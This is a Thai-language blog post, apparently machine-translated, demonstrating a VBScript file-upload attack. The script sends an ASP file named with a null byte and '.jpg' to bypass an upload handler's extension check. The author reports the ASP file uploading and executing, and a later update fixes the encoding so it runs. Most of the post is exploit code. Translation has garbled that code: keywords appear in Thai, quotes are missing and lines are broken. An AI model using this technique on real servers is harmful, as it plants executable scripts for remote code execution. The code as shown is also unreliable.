สคริปต์บางส่วนในบทความนี้ไม่เหมาะสมและมีไว้เพื่อการศึกษาและการวิจัยเท่านั้น โปรดใช้สคริปต์เหล่านี้ภายในขอบเขตทางกฎหมายและสมเหตุสมผล ฉันไม่รับผิดชอบต่อความสูญเสียที่เกิดขึ้น และฉันไม่ได้ให้คำแนะนำทางเทคนิคเกี่ยวกับการโจมตีด้วยการแฮ็ก
Demon กล่าวถึงปัญหานี้ในวันนี้ และบังเอิญทำให้ฉันนึกถึงบทความที่ฉันเห็นก่อน "การอัปโหลดไฟล์อัตโนมัติโดยใช้ IE+ADO โดยที่ผู้ใช้ไม่ต้องโต้ตอบ - VBSscript" บทความนี้ให้ตัวอย่างสคริปต์การอัปโหลดอัตโนมัติแบบไม่โต้ตอบในเครื่อง วันนี้คุณสามารถยืมสคริปต์ต้นฉบับได้โดยใช้ส่วนประกอบ InternetExplorer.Application การใช้งานส่วนประกอบนี้มากขึ้น โปรดดูที่ "การอ้างอิงวัตถุ WinHttpRequest"
คัดลอกโค้ดดังต่อไปนี้:ตัวเลือก Explicit
Function file_get_contents(ชื่อไฟล์)
Dim fso, f
Set fso = WSH.CreateObject(Scripting.FilesystemObject)
Set f = fso.OpenTextFile(filename, 1)
file_get_contents = f.ReadAll
f.Close
Set f = ไม่มี
การตั้งค่า fso = ไม่มี
ฟังก์ชันสิ้นสุด
' รหัสที่แก้ไขจาก http://www.motobit.com/tips/detpg_uploadvbsie/
Class FileUploadAttack
Private m_objWinHttp
Private m_strUrl
Private m_strFieldName
Private Sub Class_Initialize()
Set m_objWinHttp = WSH.CreateObject( _
WinHttp.WinHttpRequest.5.1)
End Sub
Private Sub Class_Terminate( )
ชุด m_objWinHttp = ไม่มีสิ่งใด
สิ้นสุดย่อย
สาธารณะ setUrl (url)
m_strUrl = url
สิ้นสุดย่อย
สาธารณะ setFieldName (ชื่อ)
m_strFieldName = ชื่อ
End Sub
'Infrormations ในส่วนหัวของฟิลด์แบบฟอร์ม
ฟังก์ชั่น mpFields (FieldName, FileName, ContentType)
Dim MPTemplate 'template สำหรับส่วนหัวแบบหลายส่วน
MPTemplate = การจัดการเนื้อหา: form-data;
ชื่อไฟล์ = {ไฟล์} + vbCrLf + _
ประเภทเนื้อหา: {ct} + vbCrLf + vbCrLf
Dim Out
= แทนที่ (MPTemplate, {field}, FieldName)
Out = แทนที่ (ออก, {file}, ชื่อไฟล์)
mpFields = แทนที่ ( Out, {ct}, ContentType)
ฟังก์ชันสิ้นสุด
'แปลงสตริง OLE เป็นสตริงหลายไบต์
ฟังก์ชัน StringToMB(S)
Dim I, B
สำหรับ I = 1 ถึง Len(S)
B = B & ChrB(Asc(Mid(S, I, 1)))
Next
StringToMB = B
End Function
'สร้างเอกสารหลายส่วน/ฟอร์ม-ข้อมูลพร้อมเนื้อหาไฟล์และข้อมูลส่วนหัว ฟัง
ก์ชั่น BuildFormData(FileContents, Boundary, _
FileName, FieldName)
Dim FormData, Pre, Po
Const ContentType = application/upload
'สองส่วนที่อยู่รอบเนื้อหาไฟล์ในข้อมูลที่มีหลายส่วน
Pre = -- + Boundary + vbCrLf + mpFields(FieldName, _
FileName, ContentType)
Po = vbCrLf + -- + Boundary + -- + vbCrLf
'สร้างข้อมูลแบบฟอร์มโดยใช้ฟิลด์ไบนารีของชุดระเบียน
Const adLongVarBinary = 205
Dim RS: Set RS = WSH.CreateObject(ADODB.Recordset)
RS.Fields.ผนวก b, adLongVarBinary, _
Len(Pre) + LenB(FileContents) + Len(Po)
RS.Open
RS.AddNew
Dim LenData
'แปลงค่าสตริงล่วงหน้าเป็นข้อมูลไบนารี
LenData = Len(Pre)
RS(b).AppendChunk (StringToMB(Pre) & ChrB (0))
Pre = RS(b).GetChunk(LenData)
RS(b) =
'แปลงค่าสตริง Po เป็นข้อมูลไบนารี
LenData = Len(Po)
RS(b).AppendChunk (StringToMB(Po) & ChrB(0))
Po = RS(b).GetChunk(LenData)
RS(b) =
'เข้าร่วม Pre + FileContents + Po ข้อมูลไบนารี
RS(b).AppendChunk (Pre )
RS(b).AppendChunk (เนื้อหาไฟล์)
RS(b).AppendChunk (Po)
RS.Update
FormData = RS(b)
RS.Close
BuildFormData = FormData
End Function
ฟังก์ชั่นสาธารณะ sendFile(fileName)
Const Boundary = ---------------------------0123456789012
m_objWinHttp . เปิด POST, m_strUrl, False
m_objWinHttp.setRequestHeader Content-Type, _
multipart/form-data; boundary= + Boundary
Dim FileContents, FormData
'Get ไฟล์ต้นฉบับเป็นข้อมูลไบนารี
FileContents = file_get_contents(FileName)
'สิ่งต่อไปนี้สร้างนามสกุลไฟล์ที่เป็นอันตราย Chr(0) & .jpg
'สร้างเอกสารหลายส่วน/ฟอร์มข้อมูล
FormData = BuildFormData(FileContents, Boundary, _
FileName & Chr(0 ) & .jpg, m_strFieldName)
m_objWinHttp.send FormData
sendFile = m_objWinHttp.Status
End Function
Public Function getText()
getText = m_objWinHttp.ResponseText
End Function
End Class
Function VBMain()
VBMain = 0
Dim fileUpload
Set fileUpload = New FileUploadAttack
'Need to modified the following content to the suitable content
' อัพโหลด url
fileUpload.setUrl http:// /localhost/upload/uploadfile.asp
fileUpload.setFieldName filepath 'ชื่อของกล่องแบบฟอร์มการอัปโหลด
' เส้นทางของไฟล์ที่จะอัปโหลดหาก
fileUpload.sendFile(E:/projects/asp/index.asp)=200 จากนั้น
MsgBox อัปโหลดสำเร็จ & fileUpload.getText()
อื่น
MsgBox failedEnd
หาก
ตั้งค่า fileUpload = ไม่มีอะไร
สิ้นสุด
การเรียก
ใช้ฟังก์ชัน ฟังก์ชันอัปโหลดWScript.Quit(VBMain())
เป็นการอัปโหลดไฟล์ ASP ที่พบบนอินเทอร์เน็ตอย่างง่าย จากนั้นเพิ่มลงใน GetFileExtensionName ที่ฉันอธิบายไว้ในบทความ "The origin of CHR(0) ใน ASP/VBScript และปัญหาด้านความปลอดภัย มันนำมา" ตรวจสอบว่านามสกุลเป็น jpg หรือไม่
ผลการทดสอบคือ: การอัปโหลด asp ด้วยตนเอง ล้มเหลว การใช้สคริปต์โจมตีด้านบนเพื่ออัปโหลดไฟล์ asp สำเร็จ! มีไฟล์ asp ในไดเร็กทอรีอัปโหลดจริง ๆ แล้วไฟล์ asp นี้ยังสามารถเข้าถึงได้ผ่าน URL ของเบราว์เซอร์ แต่สิ่งที่แปลกก็คือจอแสดงผลว่างเปล่า ฉันเป็น IIS 7 หรือไม่ บางที file_get_contents ควรจะเป็นเช่นนั้น ส่งคืนสตรีมไบนารี่ของไฟล์หรือไม่ เอาล่ะ ทิ้งคำถามนี้ไว้ที่นี่ก่อน ยังมีอย่างอื่นที่ต้องทำ ดังนั้นเราขอหลีกทางให้ก่อน
สามารถดาวน์โหลดแพ็คเกจโค้ดทดลองทั้งหมดได้ที่นี่ upload.zip (สำหรับข้อบกพร่องของโค้ด โปรดดูคำแนะนำในการอัปเดตด้านล่าง)
อัปเดตเมื่อวันที่ 25 ธันวาคม 2554
ตามความคิดเห็นของทุกคน ไฟล์ที่อัปโหลดได้กลายเป็น Unicode Little ปัญหาการเข้ารหัส Endian ก่อนอื่นฉันขอโทษเพราะตอนนั้นฉันขี้เกียจมาก การอ้างอิงโค้ดหลักมาจากชาวต่างชาติ และชาวต่างชาติอธิบายฟังก์ชัน GetFile เพื่อรับข้อมูลไบนารีของไฟล์ ฉันไม่พบการใช้งาน ของฟังก์ชันนี้และฉันขี้เกียจเกินไปที่จะอ่านไบนารี่ดังนั้นฉันจึงทำ File_get_contents รับข้อมูลข้อความ ปรากฎว่ามีปัญหากับสิ่งนี้จริงๆ ให้ฉันอธิบายมาตรการแก้ไขด้านล่าง ขี้เกียจและแปลงข้อมูลข้อความเป็นข้อมูลไบนารีโดยตรงบนพื้นฐานที่มีอยู่ การใช้ส่วนประกอบ ADODB.Stream ฟังก์ชันจะเป็นดังนี้:
คัดลอกโค้ด โค้ดมีดังนี้:
'แปลงสตริง str ของชุดอักขระที่ระบุเป็น
ฟังก์ชันไบนารี strtobin(str, charset)
ด้วย WSH.CreateObject(ADODB.Stream
) ประเภท = 2
.Mode = 3
เปิด
.Charset = ชุดอักขระ
.WriteText str
.Flush
.Position = 0
.Type = 1
strtobin = .Read()
.
ปิดท้ายด้วย
ฟังก์ชันสิ้นสุด
จากนั้นเปลี่ยนบรรทัด 106 ของโค้ดข้างต้นเป็นดังนี้ (อ่านข้อความในรูปแบบ ASCII):
คัดลอกโค้ดดังต่อไปนี้:
FileContents = strtobin(file_get_contents(FileName), ASCII)
ไฟล์ ASP ที่อัปโหลดหลังจากการเปลี่ยนแปลงนี้เป็นปกติ ที่เข้ารหัสแล้วเบราว์เซอร์จะเข้าถึงไฟล์นี้ คุณจะเห็นว่า ASP ได้รับการแยกวิเคราะห์เรียบร้อยแล้ว
อย่างไรก็ตาม ดูเหมือนว่าจะละเอียดไปสักหน่อย จริงๆ แล้ว คุณสามารถเปิดไฟล์ในรูปแบบไบนารี่ได้โดยตรงและส่งคืนข้อมูลได้ มีสองขั้นตอนดังนี้: 1. อ่านไฟล์ในโหมดข้อความ 2. แปลงข้อความให้เป็นข้อมูลไบนารี รหัสขั้นตอนเดียวสามารถอ้างถึงฟังก์ชันต่อไปนี้ที่อ่านข้อมูลไฟล์ในโหมดไบต์ไบนารี ():
คัดลอกรหัสดังนี้:
'ส่งคืนเนื้อหาไฟล์เป็นข้อมูลไบนารี
ฟังก์ชัน GetFile(FileName)
Dim Stream: Set Stream = CreateObject(ADODB .Stream )
Stream.Type = 1 'Binary
Stream.Open
Stream.LoadFromFile FileName
GetFile = Stream.Read
Stream.Close
Set Stream = ไม่มีอะไร
สิ้นสุด
ฉันจะไม่เขียนโค้ดที่ปรับให้เหมาะสมที่สุดของFunction
โดยส่วนใหญ่จะอธิบายแนวคิดในการอัปโหลด หากคุณต้องการใช้งานการอัปโหลดที่สมบูรณ์ คุณสามารถอ้างถึง "ไฟล์อัปโหลด POST การจำลอง VBS" ของ Demon